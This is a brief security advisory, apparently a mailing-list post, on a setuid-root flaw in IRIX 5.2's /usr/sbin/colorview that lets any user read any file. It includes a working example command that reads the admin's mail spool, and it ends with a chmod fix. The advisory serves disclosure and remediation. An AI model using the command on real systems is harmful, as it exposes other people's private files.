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- A vulnerability exists under IRIX 5.2 (std release) that allows any
- user to read any file on the system.
-
- % uname -a
- IRIX bailer 5.2 02282016 IP22 mips
-
- % ls -als /usr/sbin/colorview
- 742 -rwsr-xr-x 1 root sys 379680 Jun 7 10:36 /usr/sbin/colorview
-
- An example (to view the admin's mail file):
- % /usr/sbin/colorview -text /var/spool/mail/admin
-
-
- To correct this:
-
- # chmod u-s /usr/sbin/colorview
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